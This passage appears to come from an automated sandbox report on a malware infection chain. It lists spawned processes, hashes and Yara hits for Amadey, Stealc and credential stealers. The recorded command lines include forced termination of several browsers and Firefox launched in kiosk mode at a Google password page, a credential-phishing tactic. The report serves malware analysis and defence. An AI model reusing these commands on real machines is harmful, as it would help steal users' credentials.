Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2369161401.00000000054B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2455934041.0000000001001000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:45:33
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xda0000
File size:	1'913'856 bytes
MD5 hash:	4264ECCF5968410DB0AFCF14351FC8E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2430975273.0000000004840000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2471819219.0000000000DA1000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:46:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xda0000
File size:	1'913'856 bytes
MD5 hash:	4264ECCF5968410DB0AFCF14351FC8E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2699831854.0000000005350000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	22:46:14
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"
Imagebase:	0xbf0000
File size:	2'948'608 bytes
MD5 hash:	78D26695BB248B0C04F8FE3FB9192CBF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2900551720.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2901402493.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2913815586.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:46:23
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe"
Imagebase:	0x5f0000
File size:	2'161'152 bytes
MD5 hash:	943EF4CEEE0552B2A23E7F50163C16A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000003.2936121608.0000000005050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000C.00000002.2976877638.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:46:25
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"
Imagebase:	0xbf0000
File size:	2'948'608 bytes
MD5 hash:	78D26695BB248B0C04F8FE3FB9192CBF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3087572028.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3089109792.000000000071B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3026696588.0000000000714000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3045788920.0000000000714000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3027064288.0000000000715000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3070716944.0000000000715000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.3083970355.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:46:32
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe"
Imagebase:	0x4f0000
File size:	919'552 bytes
MD5 hash:	79EB53EA7134A87F6EB761C84676660C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000E.00000003.3088360642.000000000161F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:46:32
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:46:32
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:46:34
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe"
Imagebase:	0xbf0000
File size:	2'948'608 bytes
MD5 hash:	78D26695BB248B0C04F8FE3FB9192CBF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3188972107.0000000001197000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3243929373.00000000011A1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3245674973.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3124120710.0000000001197000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3229602346.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3177435187.0000000001197000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3241595648.000000000119D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3213207285.0000000001194000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3210068211.0000000001194000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3206513157.0000000001191000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3233279976.0000000001197000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000003.3203259630.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:46:34
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:46:35
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:46:35
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:46:35
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:46:36
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:46:36
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:46:36
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:46:36
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:46:37
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:46:37
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe"
Imagebase:	0xca0000
File size:	2'793'984 bytes
MD5 hash:	E14E917D069C47751949F8B66801BD18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:46:37
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:46:37
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:46:39
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28079ed5-6d95-48ad-a74d-e122c62e640d} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dbdf6f910 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:46:40
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003076001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003076001\num.exe"
Imagebase:	0xb20000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.3089073268.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3114526622.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3114429730.0000000000B21000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.3088950069.0000000000B21000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3127897267.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003076001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:46:41
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe"
Imagebase:	0xab0000
File size:	1'913'856 bytes
MD5 hash:	4264ECCF5968410DB0AFCF14351FC8E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.3169657410.0000000000AB1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.3127629977.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:46:42
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe"
Imagebase:	0x5f0000
File size:	2'161'152 bytes
MD5 hash:	943EF4CEEE0552B2A23E7F50163C16A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.3131855341.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3223716363.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3234528142.000000000124B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:46:45
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3680 -parentBuildID 20230927232528 -prefsHandle 3044 -prefMapHandle 2992 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac417107-408a-4ed8-9c4a-852515bdfed0} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dd0315910 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:46:50
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe"
Imagebase:	0x4f0000
File size:	919'552 bytes
MD5 hash:	79EB53EA7134A87F6EB761C84676660C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:46:51
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:46:51
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:46:58
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe"
Imagebase:	0x7a0000
File size:	2'793'984 bytes
MD5 hash:	E14E917D069C47751949F8B66801BD18
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:46:58
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:46:58
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:46:59
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1003076001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003076001\num.exe"
Imagebase:	0xb20000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:47:00
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:47:00
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:47:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe"
Imagebase:	0xf50000
File size:	1'913'856 bytes
MD5 hash:	4264ECCF5968410DB0AFCF14351FC8E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:47:01
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:47:01
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	22:47:01
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	22:47:01
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00B3D0DA Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2218789350.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B39000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b39000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3e5310c1e51fafd88217b3e4564c2546fdea00e422064e09c9355639b2d46f5
Instruction ID: 62a28afc856da031362a25ab691c12dad1cb72ed5796e85aa8aed51646e36af4
Opcode Fuzzy Hash: e3e5310c1e51fafd88217b3e4564c2546fdea00e422064e09c9355639b2d46f5
Instruction Fuzzy Hash: 1FD17E8680E7C14FEB1397306D796857FB0AD27214B6E85CFC5C19F6A3E688490AC763

Function 00AF72DD Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2219380612.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Offset: 00AEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_aec000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e307d80c0c7d85a11927981ca24ebd2334878363bd83cde9efc270dec2753735
Instruction ID: 63d12b2748dfde66864d2bf9bcc37137fa894cc7072229edc84f00ef4d2292ba
Opcode Fuzzy Hash: e307d80c0c7d85a11927981ca24ebd2334878363bd83cde9efc270dec2753735
Instruction Fuzzy Hash: 4D01364140FBD66FC75387745C286A9BF706E13124B1E46EBD5E1DF4E3C2084919D3A6

Analysis Process: QQVU8579GXGT7ENXLIPV.exePID: 6452, Parent PID: 2976COMMON

Execution Graph

